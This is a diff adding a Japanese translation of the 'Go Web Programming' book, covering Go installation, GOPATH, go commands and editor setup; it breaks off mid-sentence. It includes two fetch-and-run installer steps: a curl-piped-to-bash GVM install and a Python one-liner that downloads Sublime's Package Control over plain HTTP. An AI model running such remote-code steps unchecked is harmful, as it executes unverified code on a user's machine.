diff --git a/ja/README.md b/ja/README.md new file mode 100644 index 00000000..36c99383 --- /dev/null +++ b/ja/README.md @@ -0,0 +1,40 @@ +# "Go Web プログラミング" +現在この本はすでに出版されています。もし悪くない内容だと思ったら以下より購入することができます。ご協力に感謝いたします: + +- [chinapub](http://product.china-pub.com/3767290) +- [当当网](http://product.dangdang.com/product.aspx?product_id=23231404) +- [京东](http://book.jd.com/11224644.html) +- [Amazon](http://www.amazon.cn/Go-Web%E7%BC%96%E7%A8%8B-%E8%B0%A2%E5%AD%9F%E5%86%9B/dp/B00CHWVAHQ/ref=sr_1_1?s=books&ie=UTF8&qid=1369323453&sr=1-1) + +![](ebook/images/ebook.jpg) + +# カンパでサポートする +もし"Go Webプログラミング"を気に入っていただけたのなら、寄付を通じて作者にこの本の続きを更新させるか、もっと面白くてためになるオープンソースアプリケーションの開発をご検討下さい:例えばこの本にパッチをあてたり、もっと面白い章を追加したり、もっともっと凄い内容の次回作を出してみたり、beegoを改修してくれたり、です。 + +寄付はこちら: [https://me.alipay.com/astaxie](https://me.alipay.com/astaxie) + + +## 連絡方法 +ぜひQQ群にどうぞ:259316004 《Go Web编程》专用交流群 + +掲示板:[http://bbs.mygolang.com](http://bbs.mygolang.com) + +## 謝辞 +まずGolang-ChinaのQQ群102319854に感謝を申し上げます。彼らはみんな非常に熱心で、特に数名の方には本当に感謝しています。 + + - [四月份平民](https://plus.google.com/110445767383269817959) (コードレビュー) + - [Hong Ruiqi](https://github.com/hongruiqi) (コードレビュー) + - [BianJiang](https://github.com/border) (go開発ツールの作成,VimとEmacsの設定) + - [Oling Cat](https://github.com/OlingCat)(コードレビュー) + - [Wenlei Wu](mailto:spadesacn@gmail.com)(画像の提供) + - [polaris](https://github.com/polaris1119)(本のレビュー) + - [雨痕](https://github.com/qyuhen)(第二章のレビュー) + +## ライセンス +特に明示されている場合を除き、この本の内容は[CC BY-SA 3.0 License](http://creativecommons.org/licenses/by-sa/3.0/)(クリエイティブ・コモンズ 表示-継承3.0非移植)が適用されます。コードは[BSD 3-Clause License]()(三条項BSDライセンス)となります。 + +## 読み始める +[読み始める]() + + +[![githalytics.com alpha](https://cruel-carlota.pagodabox.com/44c98c9d398b8319b6e87edcd3e34144 "githalytics.com")](http://githalytics.com/astaxie/build-web-application-with-golang) diff --git a/ja/ebook/01.0.md b/ja/ebook/01.0.md new file mode 100644 index 00000000..346e83ef --- /dev/null +++ b/ja/ebook/01.0.md @@ -0,0 +1,23 @@ +# 1 GOの環境設定 + +Goの世界へようこそ、さっそく初めてみましょう! + +Goは新しい言語です、並列処理、ガベージコレクションを備え、軽快にプログラムできる言語です。以下のような特徴を持っています: + +- 一台のコンピュータ上であっという間に大型のGoプログラムを作り出すことができます。 +- Goはソフトウェアの構造にモデルを提供します。分析をより簡単にこなせ、Cスタイルの頭にありがちなファイルとライブラリのincludeの大部分を省くことができます。 +- Goは静的型付け言語です。型には階層がありません。このためユーザは型の定義の関係に時間をとられることなく、典型的なオブジェクト指向言語よりももっとライトに感じるくらいです。 +- Goは完全にガベージコレクションタイプの言語です。また、並列処理とネットワークを基本的にサポートしています。 +- Goはマルチプロセッサ対応のソフトウェアを作成できるようデザインされています。 + +Goはコンパイラ型言語の一種です。インタプリタ型言語の軽い身のこなしと動的型付け言語の開発効率、それに静的型付け言語の安全性を兼ね備えています。また、モダンにネットワークとマルチプロセッサもサポートしています。これらの目標を達成するには、解決しなければならない言語上の問題がいくつかあります:表現力豊かだけれども軽いシステム、並列処理とガベージコレクション、厳格な依存定義などです。これらはライブラリやツール無しにはうまくいきません。Goもその要望に応えます。 + +この章ではGoのインストール方法と設定について述べます。 + +## 目次 + +![](images/navi1.png?raw=true) + +## links + * [目次]() + * 次へ: [Goのインストール](<01.1.md>) diff --git a/ja/ebook/01.1.md b/ja/ebook/01.1.md new file mode 100644 index 00000000..a290fc4a --- /dev/null +++ b/ja/ebook/01.1.md @@ -0,0 +1,146 @@ +# 1.1 Goのインストール + +## 3つのインストール方法 +Goにはいくつものインストール方法があります。どれでも好きなのを選んでかまいません。ここでは3つのよくあるインストール方法をご紹介しましょう: + +- ソースコードのインストール:標準的なインストール方法です。Unix系システムをよく使うユーザ、特に開発者にとってはお馴染みの方法です。 +- 標準パッケージのインストール:Goは便利なインストールパッケージを用意しています。Windows, Linux, Macなどのシステムをサポートしています。初心者にはうってつけでしょう。システムのbit数に対応したインストールパッケージをダウンロードして、"Next"をたどるだけでインストールできます。 +- サードパーティツールによるインストール:現在便利なサードパーティパッケージも多くあります。たとえばUbuntuのapt-get、Macのhomebrewなどです。これらのシステムに慣れたユーザにはぴったりのインストール方法です。 + +最後に同じシステムの中で異なるバージョンのGoをインストールする場合は、[GVM](https://github.com/moovweb/gvm)が参考になります。どうすればよいか分からない場合一番うまくできます。 + +## Goソースコードのインストール +Goソースコードの中で、いくつかの部分はPlan 9 CとAT&Tコンパイラを使っています。そのため、もしあなたがソースコードをインストールしたい場合は、Cのコンパイルツールをインストールしておく必要があります。 + +Macシステムでは、Xcodeに適切なコンパイラが含まれています。 + +Unixシステムでは、gccなどのツールをインストールする必要があります。例えばUbuntuシステムではターミナルで`sudo apt-get install gcc libc6-dev`を実行することでコンパイラをインストールすることができます。 + +Windowsシステムでは、MinGWをインストールする必要があります。その後MinGWでgccをインストールして、適切な環境変数を設定します。 + +Goは[Mercurial][hg]を使ってバージョン管理を行います、まずMercurialをインストールしなければ、ダウンロードできません。もしMercurialがインストールされているのであれば、以下のコードを実行します: + +もしGoのインストールディレクトリが`$GO_INSTALL_DIR`だったとすると + + hg clone -u release https://code.google.com/p/go + cd go/src + ./all.bash + +all.bashを実行後"ALL TESTS PASSED"が表示されると、インストール成功です。 + +上記はUnixスタイルのコマンドです、Windowsではインストール方法は似ており、all.batを実行するだけです。コンパイラはMinGWのgccを使います。 + +その後環境変数をいくつか設定します、 + + export GOROOT=$HOME/go + export GOBIN=$GOROOT/bin + export PATH=$PATH:$GOBIN + +下のような画像が現れると、インストール成功です。 + +![](images/1.1.mac.png?raw=true) + +図1.1 ソースコードインストール後Goコマンドを実行するの図 + +もしGoのUsage情報が現れたら、Goはインストールが成功しています:もしこのコマンドが存在しない場合は、自分のPATH環境変数のなかにGoのインストールディレクトリが含まれているか確認してください。 + + +## Go標準パッケージのインストール + +Goはさまざまなプラットホームでインストールパッケージを提供しています、これらのパッケージはデフォルトで以下のディレクトリにインストールします:/usr/local/go(Windowsシステム:c:\Go)。当然これらのインストール場所を変更することもできます、ただし変更後はあなたの環境変数を以下のように設定する必要があります: + + export GOROOT=$HOME/go + export PATH=$PATH:$GOROOT/bin + +### 自分の操作しているシステムが32bitか64bitか判断する方法。 + +Goインストールの次はシステムのbit数の判断ですので、この章では先に自分のシステムの種類を確認しましょう。 + +WindowsシステムのユーザはWin+Rを押してcmdを実行してください。`systeminfo`と入力してエンターキーを押します。少しするとシステムの情報が現れます。"システムの種類"の一行に、"x64-based PC"と表示されていれば、64bitシステムです。もし"X86-based PC"とあれば、32bitシステムです。 + +Macユーザは直接64bit版を使用することをおすすめします。なぜなら、GoがサポートしているMac OS Xのバージョンはすでに32bitプロセッサをサポートしていないからです。 + +LinuxユーザはTerminalで`arch`(すなわち、`uname -a`)を実行することでシステムの情報を確かめることができます。 + +64bitシステムであれば以下のように表示されます。 + + x86_64 + +32bitシステムの場合は以下のように表示されます。 + + i386 + +### Mac インストール + +[ダウンロードURL][downlink]に接続し、32bitシステムはgo1.0.3.darwin-386.pkgをダウンロードします。64bitシステムであればgo1.0.3.darwin-amd64.pkgをダウンロードします。ファイルをダブルクリックし、すべてデフォルトで「次へ」ボタンをクリックします。これでgoはあなたのシステムにインストールされました。デフォルトでPATHの中に適切な`~/go/bin`が追加されています。このとき端末を開き、`go`と入力します。 + +インストール成功の画像があらわれるとインストール成功です。 + +もしgoのUsage情報が現れた場合は、goはすでにインストールされています。もしこのコマンドが存在しないと出てきた場合は、自分のPATH環境変数の中にgoのインストールディレクトリが含まれているか確認してください。 + +### Linux インストール + +[ダウンロードURL][downlink]に接続し、32bitシステムはgo1.0.3.linux-386.tar.gzをダウンロードします。64bitシステムであればgo1.0.3.linux-amd64.tar.gzをダウンロードします。 + +今後はGoがインストールされたディレクトリを`$GO_INSTALL_DIR`と仮定します。 + +`tar.gz`をインストールディレクトリに解凍します:`tar zxvf go1.0.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR` + +PATHを設定します。`export PATH=$PATH:$GO_INSTALL_DIR/go/bin` + +その後、`go`を実行します。 + +![](images/1.1.linux.png?raw=true) + +図1.2 Linuxシステムでインストールに成功したあとgoを実行して表示される情報 + +もしgoのUsage情報が現れた場合は、goはすでにインストールされています。もしこのコマンドが存在しないと出てきた場合は、自分のPATH環境変数の中にgoのインストールディレクトリが含まれているか確認してください。 + +### Windows インストール + +[ダウンロードURL][downlink]に接続し、32bitシステムはgo1.0.3.windows-386.msiをダウンロードします。64bitシステムであればgo1.0.3.windows-amd64.msiをダウンロードします。ファイルをダブルクリックして、デフォルトのまま「次へ」をクリックします。この時goはすでにあなたのシステムにインストールされています。デフォルトでインストール後の環境変数には`c:/go/bin`が追加されています。cmdを開いて、`go`と入力します。 + +macインストール成功の画像で、インストールが成功します。 + +もしGoのUsage情報が現れたら、Goはすでにインストールされています。もしこのコマンドが存在しないと出た場合は自分のPATH環境変数にGoのインストールディレクトリが含まれるか確認してください。 + +## サードパーティツールのインストール +### GVM +gvmはサードパーティが開発したGoのバージョン管理ツールです。rubyのrvmツールに似ています。相当使い勝手がいいです。gvmをインストールするには以下のコマンド実行します: + + bash < <(curl -s https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer) + +インストールが完了したあと、goをインストールすることができます: + + gvm install go1.1 + gvm use go1.1 + +下のコマンドで、毎回gvm useをコールする手間を省くことができます: + gvm use go1.1 --default + +上のコマンドを実行したあと、GOPATH、GOROOTなどの環境変数は自動的に設定されます。これで、直接利用することができます。 + +### apt-get +Ubuntuは現在最も多く利用されているLinuxデスクトップシステムです。`apt-get`コマンドでソフトウェア・パッケージを管理します。下のコマンドでGoをインストールすることができます、今後のため`git`と`mercurial`もインストールしておくべきでしょう: + + sudo apt-get install python-software-properties + sudo add-apt-repository ppa:gophers/go + sudo apt-get update + sudo apt-get install golang-stable git-core mercurial + +### homebrew +homebrewはMacシステムで現在最も使用されているソフトウェア管理ツールです。現在Goをサポートしており、以下のコマンドでGoを直接インストールすることができます。今後のため`git`と`mercurial`もインストールしておくべきでしょう: + + brew update && brew upgrade + brew install go + brew install git + brew install mercurial + + +## links + * [目次]() + * 前へ: [Goの環境設定](<01.0.md>) + * 次へ: [GOPATHとワーキングディレクトリ](<01.2.md>) + +[downlink]: http://code.google.com/p/go/downloads/list "Goインストールパッケージダウンロード" +[hg]: http://mercurial.selenic.com/downloads/ "Mercurialダウンロード" diff --git a/ja/ebook/01.2.md b/ja/ebook/01.2.md new file mode 100644 index 00000000..04dad630 --- /dev/null +++ b/ja/ebook/01.2.md @@ -0,0 +1,164 @@ +# 1.2 GOPATHとワーキングディレクトリ + +## GOPATH設定 + go コマンドには重要な環境変数があります:$GOPATH1 + + *(注:これはGoのインストールディレクトリではありません。以下では筆者のワーキングディレクトリで説明します。ご自身のマシン上のワーキングディレクトリに置き換えてください。)* + + Unix に似た環境であれば大体以下のような設定になります: +```sh + export GOPATH=/home/apple/mygo +``` + 上のディレクトリを新たに作成し、上の一行を`.bashrc`または`.zshrc`もしくは自分の`sh`の設定ファイルに加えます。 + + Windows では以下のように設定します。新しくGOPATHと呼ばれる環境変数を作成します: +```sh + GOPATH=c:\mygo +``` +GOPATHは複数のディレクトリを許容します。複数のディレクトリがある場合、デリミタに気をつけてください。複数のディレクトリがある場合Windowsはセミコロン、Linuxはコロンを使います。複数のGOPATHがある場合は、デフォルトでgo getの内容が第一ディレクトリとされます。 + + +上の $GOPATH ディレクトリには3つのディレクトリがあります: + +- src にはソースコードを保存します(例えば:.go .c .h .s等) +- pkg にはコンパイル後に生成されるファイル(例えば:.a) +- bin にはコンパイル後に生成される実行可能フィアル(このまま $PATH 変数に加えてもかまいません。もしいくつもgopathがある場合は、`${GOPATH//://bin:}/bin`を使って全てのbinディレクトリを追加してください) + +以降私はすべての例でmygoを私のgopathディレクトリとします。 + +## アプリケーションディレクトリ構成 +パッケージとディレクトリの作成:$GOPATH/src/mymath/sqrt.go(パッケージ名:"mymath") + +以後私が新規に作成するアプリケーションまたはコードパッケージはsrcディレクトリに新規ディレクトリを作成します。ディレクトリ名はほぼコードパッケージの名前です。当然ネストしたディレクトリもありえます、例えば、srcの下にディレクトリ $GOPATH/src/github.com/astaxie/beedbというようなディレクトリを作成すると、このパッケージのパスは"github.com/astaxie/beedb"になります。パッケージ名は最後のディレクトリであるbeedbです。 + +以下のコードを実行します。 +```sh + cd $GOPATH/src + mkdir mymath +``` +sqrt.goというファイルを作成し、内容を以下のようにします。 +```go + // $GOPATH/src/mymath/sqrt.goコードは以下の通り: + package mymath + + func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z + } +``` +このように私のアプリケーションパッケージディレクトリとコードが作成されました。注意:一般的にpackageの名前とディレクトリ名は一致させるべきです。 + +## コンパイルアプリケーション +上のとおり、我々はすでに自分のアプリケーションパッケージを作成しましたが、どのようにコンパイル/インストールすべきでしょうか?2種類の方法が存在します。 + +1、対応するアプリケーションパッケージディレクトリに入り、`go install`を実行すればインストールできます。 + +2,任意のディレクトリで以下のコード`go install mymath`を実行します。 + +インストールが終われば、以下のディレクトリに入り +```sh + cd $GOPATH/pkg/${GOOS}_${GOARCH} + //以下のファイルが現れるはずです。 + mymath.a +``` +この.aファイルはアプリケーションパッケージです。ならば我々はどのように実行できるでしょうか? + +次にアプリケーション・プログラムを作成して実行します。 + +アプリケーションパッケージmathappを作ります。 +```sh + cd $GOPATH/src + mkdir mathapp + cd mathapp + vim main.go +``` +// `$GOPATH/src/mathapp/main.go`コード: +```go + package main + + import ( + "mymath" + "fmt" + ) + + func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) + } +``` +どのようにプログラムをコンパイルするのでしょうか?このアプリケーションディレクトリに入り、`go build`を実行すれば、このディレクトリの下にmathappの実行可能ファイルが生成されます。 +```sh + ./mathapp +``` +以下のように出力されます。 +```sh + Hello, world. Sqrt(2) = 1.414213562373095 +``` +どのようにアプリケーションをインストールするのでしょうか。このディレクトリに入り、`go install`を実行します。すると、$GOPATH/bin/の下に実行可能ファイルmathappが作成されますので、コマンドラインから以下のように入力することで実行することができます。 + + mathapp + +この場合も以下のように出力されます。 + + Hello, world. Sqrt(2) = 1.414213562373095 + +## リモートパッケージの取得 + go言語はリモートパッケージを取得するツール`go get`を持っています。現在go getは多数のオープンソースリポジトリをサポートしています(github、googlecode、bitbucket、Launchpad) + + go get github.com/astaxie/beedb + +>go get -u オプションはパッケージの自動更新を行います。また、go get時に自動的に当該のパッケージの依存する他のサードパーティパッケージを取得します。 + +このコマンドでふさわしいコードを取得し、対応するオープンソースプラットホームに対し異なるソースコントロールツールを利用します。例えばgithubではgit、googlecodeではhg。そのためこれらのコードを取得したい場合は、先に対応するソースコードコントロールツールをインストールしておく必要があります。 + +上述の方法で取得したコードはローカルの以下の場所に配置されます。 + + $GOPATH + src + |--github.com + |-astaxie + |-beedb + pkg + |--対応プラットフォーム + |-github.com + |--astaxie + |beedb.a + +go getは以下のような手順を踏みます。まずはじめにソースコードツールでコードをsrcの下にcloneします。その後`go install`を実行します。 + +コードの中でリモートパッケージが使用される場合、単純にローカルのパッケージと同じように頭のimportに対応するパスを添えるだけです。 + + import "github.com/astaxie/beedb" + +## プログラムの全体構成 +上記で作成したローカルのmygoのディレクトリ構造は以下のようになっています。 + + bin/ + mathapp + pkg/ + プラットフォーム名/ 例:darwin_amd64、linux_amd64 + mymath.a + github.com/ + astaxie/ + beedb.a + src/ + mathapp + main.go + mymath/ + sqrt.go + github.com/ + astaxie/ + beedb/ + beedb.go + util.go + +上述の構成から明確に判断できるのは、binディレクトリの下にコンパイル後の実行可能ファイルが保存され、pkgの下に関数パッケージが保存され、srcの下にアプリケーションのソースコードが保存されているということです。 + + - - - +[1] Windowsシステムの環境変数の形式は`%GOPATH%`です。本書では主にUnix形式を使いますので、Windowsユーザは適時自分の環境に置き換えてください。 +## links + * [目次]() + * 前へ: [GOのインストール](<01.1.md>) + * 次へ: [GOのコマンド](<01.3.md>) diff --git a/ja/ebook/01.3.md b/ja/ebook/01.3.md new file mode 100644 index 00000000..454a5ece --- /dev/null +++ b/ja/ebook/01.3.md @@ -0,0 +1,116 @@ +# 1.3 Goのコマンド + +## Goのコマンド + + Go言語は完全なコマンド操作ツールセットを持つ言語です。コマンドラインで`go`を実行することでそれらを確認することができます: + + ![](images/1.3.go.png?raw=true) + +図1.3 Goコマンドで詳細情報を表示 + + これらのコマンドは我々が普段コードを書いている時に非常に役立つものです。次に普段使用するコマンドを理解していきましょう。 + +## go build + + このコマンドは主にコンパイルテストに用いられます。パッケージのコンパイル作業中、もし必要であれば、同時に関連パッケージもコンパイルすることができます。 + + - もし普通のパッケージであれば、我々が1.2章で書いた`mypath`パッケージのように、`go build`を実行したあと、何のファイルも生成しません。もし`$GOPATH/pkg`の下に対応するファイルを生成する必要があれば、`go install`を実行してください。 + + - もしそれが`main`パッケージであれば、`go build`を実行したあと、カレントディレクトリの下に実行可能ファイルが生成されます。もし`$GOPATH/bin`の下に対応するファイルを生成する必要があれば、`go install`を実行するか、`go build- o パス/a.exe`を実行してください。 + + - もしあるプロジェクトディレクトリに複数のファイルがある場合で、単一のファイルのみコンパイルしたい場合は、`go build`を実行する際にファイル名を追加することができます。例えば`go build a.go`です。`go build`コマンドはデフォルトでカレントディレクトリにある全てのgoファイルをコンパイルしようと試みます。 + + - コンパイル後に出力されるファイル名を指定することもできます。1.2章の`mathapp`アプリケーションでは`go build -o astaxie.exe`と指定できます。デフォルトはpackage名(mainパッケージではない)になるか、ソースファイルのファイル名(mainパッケージ)になります。 + + (注:実際はpackage名は[Go言語の規格](https://golang.org/ref/spec)においてコード中の"package"に続く名前になります。この名前はファイル名と異なっていても構いません。デフォルトで生成される実行可能ファイル名はディレクトリ名。 + + - go buildはディレクトリ内の"\_"または"."ではじまるgoファイルを無視します。 + + - もしあなたのソースコードが異なるオペレーティングシステムに対応する場合は異なる処理が必要となります。ですので異なるオペレーティングシステムの名称にもとづいてファイルを命名することができます。例えば配列を読み込むプログラムがあったとして、異なるオペレーティングシステムに対して以下のようなソースファイルがあるかもしれません。 + + array_linux.go + array_darwin.go + array_windows.go + array_freebsd.go + + `go build`の際、システム名の末尾のファイルから選択的にコンパイルすることができます(linux、darwin、windows、freebsd) + +## go clean + + このコマンドは現在のソースコードパッケージのなかでコンパイラが生成したファイルを取り除く操作を行います。これらのファイルはすなわち: + + _obj/ 旧objectディレクトリ、MakeFilesが作成する。 + _test/ 旧testディレクトリ,Makefilesが作成する。 + _testmain.go 旧gotestファイル,Makefilesが作成する。 + test.out 旧testログ,Makefilesが作成する。 + build.out 旧testログ,Makefilesが作成する。 + *.[568ao] objectファイル,Makefilesが作成する。 + + DIR(.exe) go buildが作成する。 + DIR.test(.exe) go test -cが作成する。 + MAINFILE(.exe) go build MAINFILE.goが作成する。 + + 私は基本的にこのコマンドを使ってコンパイルファイルを掃除します。ローカルでテストを行う場合これらのコンパイルファイルはシステムと関係があるだけで、コードの管理には必要ありません。 + +## go fmt + + 読者にC/C++の経験があればご存知かもしれませんが、コードにK&Rスタイルを選択するかANSIスタイルを選択するかは常に論争となっていました。goでは、コードに標準のスタイルがあります。すでに培われた習慣やその他が原因となって我々は常にANSIスタイルまたはその他のより自分にあったスタイルでコードを書いて来ました。これは他の人がコードを閲覧する際に不必要な負担を与えます。そのためgoはコードのスタイルを強制し(例えば左大括弧はかならず行末に置く)、このスタイルに従わなければコンパイルが通りません。整形の時間の節約するため、goツールは`go fmt`コマンドを提供しています。これはあなたの書いたコードを整形するのに役立ちます。あなたの書いたコードは標準のスタイルに修正されますが、我々は普段このコマンドを使いません。なぜなら開発ツールには一般的に保存時に自動的に整形を行ってくれるからです。この機能は実際には低レイヤでは`go fmt`を呼んでいます。この次の章で2つのツールをご紹介しましょう。この2つのツールはどれもファイルを保存する際に`go fmt`機能を自動化させます。 + +>go fmtコマンドの使用では、多くの場合はgofmtを使用しますが、-wオプションが必要になります。さもなければ、整形結果はファイルに書き込まれません。gofmt -w src、ですべての項目を整形することができます。 + +## go get + + このコマンドは動的にリモートコードパッケージを取得するために用いられます。現在BitBucket、GitHub、Google CodeとLaunchpadをサポートしています。このコマンドは内部で実際には2ステップの操作に分かれます:第1ステップはソースコードパッケージのダウンロード、第2ステップは`go install`の実行です。ソースコードパッケージのダウンロードを行うgoツールは異なるドメインにしたがって自動的に異なるコードツールを用います。対応関係は以下の通りです: + + BitBucket (Mercurial Git) + GitHub (Git) + Google Code Project Hosting (Git, Mercurial, Subversion) + Launchpad (Bazaar) + + そのため、`go get`を正常に動作させるためには、あらかじめ適切なソースコード管理ツールがインストールされていると同時にこれらのコマンドがあなたのPATHに入っていなければなりません。実は`go get`はカスタムドメインの機能をサポートしています。具体的な内容は`go help remote`を参照ください。 + +## go install + + このコマンドは実際には内部で2ステップの操作に分かれます。第1ステップはリザルトファイルの生成(実行可能ファイルまたはaパッケージ)、第2ステップはコンパイルし終わった結果を`$GOPATH/pkg`または`$GOPATH/bin`に移動する操作です。 + +## go test + + このコマンドを実行すると、ソースコードディレクトリ以下の`*_test.go`ファイルが自動的にロードされ、テスト用の実行可能ファイルが生成/実行されます。出力される情報は以下のようなものになります + + ok archive/tar 0.011s + FAIL archive/zip 0.022s + ok compress/gzip 0.033s + ... + + デフォルトの状態で、オプションを追加する必要はありません。自動的にあなたのソースコードパッケージ以下のすべてのtestファイルがテストされます。もちろんオプションを追加しても構いません。詳細は`go help testflag`を確認してください。 + +## go doc + + (1.2rc1 から go doc コマンドはなくなり、 godoc コマンドのみになります) + 多くの人がgoはいかなるサードパーティドキュメントも必要としないと言っています。なぜなら例えばchmマニュアルのように(もっとも私はすでに[chmマニュアル](https://github.com/astaxie/godoc)を作っていますが)、この中にすでに非常に協力なドキュメントツールが入っているからです。 + + どのように対応するpackageのドキュメントを確認すればよいでしょうか? + 例えばbuiltinパッケージであれば、`go doc builtin`と実行します。 + もしhttpパッケージであれば、`go doc net/http`と実行してください。 + パッケージの中の関数を確認する場合は`godoc fmt Printf`としてください。 + 対応するコードを確認する場合は、`godoc -src fmt Printf`とします。 + + コマンドラインでコマンドを実行します。 godoc -http=:ポート番号 例えば`godoc -http=:8080`として、ブラウザで`127.0.0.1:8080`を開くと、golang.orgのローカルのcopy版を見ることができます。これを通してpkgドキュメントなどの他の内容を確認することができます。もしあなたがGOPATHを設定されていれば、pkgカテゴリの中で、標準パッケージのドキュメントのみならず、ローカルの`GOPATH`のすべての項目に関連するドキュメントをリストアップすることができます。これはグレートファイアーウォールの中にいるユーザにとっては非常にありがたい選択です。 + +## その他のコマンド + + goは他にも様々なツールを提供しています。例えば以下のツール + + go fix は以前の古いバージョンのコードを新しいバージョンに復元するために使われます。例えばgo1の前の古いバージョンのコードをgo1に移動させます。 + go version はgoの現在のバージョンを確認します。 + go env は現在のgoの環境変数を確認します。 + go list は現在インストールされている全てのpackageをリストアップします。 + go run はGoプログラムのコンパイルと実行を行います。 + +以上これらのツールはまだ多くのオプションがあり、ひとつひとつはご紹介しませんが、ユーザは`go help コマンド`で更に詳しいヘルプ情報を取得することができます。 + + +## links + * [目次]() + * 前へ: [GOPATHとワーキングディレクトリ](<01.2.md>) + * 次へ: [Goの開発ツール](<01.4.md>) diff --git a/ja/ebook/01.4.md b/ja/ebook/01.4.md new file mode 100644 index 00000000..a6fd7f8f --- /dev/null +++ b/ja/ebook/01.4.md @@ -0,0 +1,460 @@ +# 1.4 Go開発ツール + +本章ではいくつかの開発ツールをご紹介します。これらはすべて自動化を備えており、fmt機能を自動化します。なぜならこれらはすべてクロスプラットフォームであり、そのためインストール手順といったものはすべて同じものです。 + +## LiteIDE + + LiteIDEはGo言語の開発に特化したクロスプラットフォームの軽量統合開発環境(IDE)です。visualfcで書かれています。 + + ![](images/1.4.liteide.png?raw=true) + +図1.4 LiteIDEのメイン画面 + +**LiteIDEの主な特徴:** + +* 主なオペレーティングシステムのサポート + * Windows + * Linux + * MacOS X +* Goコンパイル環境の管理と切り替え + * 複数のGoコンパイル環境の管理と切り替え + * Go言語のクロスコンパイルのサポート +* Go標準と同じ項目管理方式 + * GOPATHに基づいたパッケージブラウザ + * GOPATHに基づいたコンパイルシステム + * GOPATHに基づいたドキュメント検索 +* Go言語の編集サポート + * クラスブラウザとアウトライン表示 + * Gocode(コード自動作成ツール)の完全なサポート + * Go言語ドキュメントとApi高速検索 + * コード表現情報の表示`F1` + * ソースコード定義とジャンプのサポート`F2` + * Gdbブレークポイントとテストサポート + * gofmt自動整形のサポート +* その他の特徴 + * 多言語メニューのサポート + * 完全にプラガブルな構成 + * エディタのカラーリングサポート + * Kateに基づいた文法表示サポート + * 全文に基づく単語の自動補完 + * キーボードショートカットのバインディングサポート + * Markdownドキュメントの編集サポート + * リアルタイムプレビューと表示の同期 + * カスタムCSS表示 + * HTML及びPDFドキュメントのエクスポート + * HTML/PDFドキュメントへの変換とマージ + +**LiteIDEインストール設定** + +* LiteIDEインストール + * ダウンロード + * ソースコード + + まずGo言語環境をインストールし、その後オペレーティングシステムにしたがってLiteIDEの対応圧縮ファイルを直接解凍すれば使用できます。 + +* Gocodeのインストール + + Go言語の入力自動補完を起動するにはGocodeをインストールする必要があります: + + go get -u github.com/nsf/gocode + +* コンパイル環境設定 + + 自身のシステムの要求にしたがってLiteIDEが現在使用している環境変数を切り替えまたは設定します。 + + Windowsオペレーティングシステムの64bitGo言語の場合、 + ツール欄の環境設定のなかでwin64を選択し、`編集環境`をクリックしてLiteIDEからwin64.envファイルを編集します。 + + GOROOT=c:\go + GOBIN= + GOARCH=amd64 + GOOS=windows + CGO_ENABLED=1 + + PATH=%GOBIN%;%GOROOT%\bin;%PATH% + 。。。 + + この中の`GOROOT=c:\go`を現在のGoのインストールパスに修正し、保存するだけです。もしMinGW64があれば、`c:\MinGW64\bin`をPATHの中に入れて、goによるgccのコールでCGOコンパイラのサポートを利用することができます。 + + Linuxオペレーティングシステムで64bitGo言語の場合、 + ツール欄の環境設定の中からlinux64を選び、`編集環境`をクリックし、LiteIDEからlinux64.envファイルを編集します。 + + GOROOT=$HOME/go + GOBIN= + GOARCH=amd64 + GOOS=linux + CGO_ENABLED=1 + + PATH=$GOBIN:$GOROOT/bin:$PATH + 。。。 + + この中の`GOROOT=$HOME/go`を現在のGoのインストールパスに修正して保存します。 + +* GOPATH設定 + + Go言語のツールキーはGOPATH設定を使用します。Go言語開発のプロジェクトのパスリストです。コマンドライン(LiteIDEでは`Ctrl+,`を直接入力できます)で`go help gopath`を入力するとGOPATHドキュメントを素早く確認できます。 + + LiteIDEでは簡単に確認でき、GOPATHを設定することができます。`メニュー-確認-GOPATH`設定を通じて、システム中に存在するGOPATHリストを確認することができます。 + 同時に必要な追加項目にそってカスタムのGOPATHリストに追加することができます。 + +## Sublime Text + + ここではSublime Text 2(以下「Sublime」)+GoSublime+gocode+Margoの組み合わせをご紹介します。なぜこの組み合わせなのでしょうか? + + - コード表示の自動化、以下の図の通り + + ![](images/1.4.sublime1.png?raw=true) + + 図1.5 sublimeコードの自動化画面 + + - 保存した時にはコードが自動的に整形されています。あなたの書いたコードをより美しくGoの標準に合うよう仕上げてくれます。 + - プロジェクト管理のサポート + + ![](images/1.4.sublime2.png?raw=true) + + 図1.6 sublimeプロジェクト管理画面  + + - 文法のハイライトサポート + - Sublime Text 2はフリーで使用できます。保存回数が一定の量を超えると購入するかのダイアログが現れるので、継続利用をキャンセルするをクリックします。正式登録版とは何の違いもありません。 + + +次はどのようにインストールするかご説明します。[Sublime](http://www.sublimetext.com/)ダウンロードします。 + + 自分のシステムに合わせて対応するバージョンをダウンロードし、Sublimeを開きます。Sublimeに詳しくない方はまず[Sublime Text 2 入門とテクニック](http://lucifr.com/139225/sublime-text-2-tricks-and-tips/)の文章を読んでみてください。 + + 1. 開いた後、 Package Controlをインストールします。Ctrl+`でコマンドラインを開き、以下のコードを実行します: + + import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation' + + この時Sublimeを再度開き直してください。メニュー欄に一つ項目が増えているのがお分かりいただけるかと思います。これでPackage Controlが正しくインストールされました。 + + ![](images/1.4.sublime3.png?raw=true) + + 図1.7 sublimeパッケージ管理 + + + 2. インストールが完了するとSublimeのプラグインをインストールできます。GoSublime, SidebarEnhancementsとGo Buildをインストールする必要があるので、プラグインをインストールしたあとSublimeを再起動させて有効にしてください。Ctrl+Shift+pでPackage Controlを開き、`pcip`を入力します。(これは"Package Control: Install Package"と省略されます)。 + + この時、左下のコーナーに現在読み込んでいるパッケージデータが表示されます。完了すると下のような画面になります。 + + ![](images/1.4.sublime4.png?raw=true) + + 図1.8 sublimeプラグインのインストール画面 + + この時、GoSublimeと入力し、「確認」をクリックするとインストールが始まります。同じようにSidebarEnhancementsとGo Buildにも行います。 + + 3. インストールが成功したかテストします。Sublimeを開き、main.goを開いて文法がハイライトされているのをご確認ください。`import`を入力してコードの自動表示がされます。`import 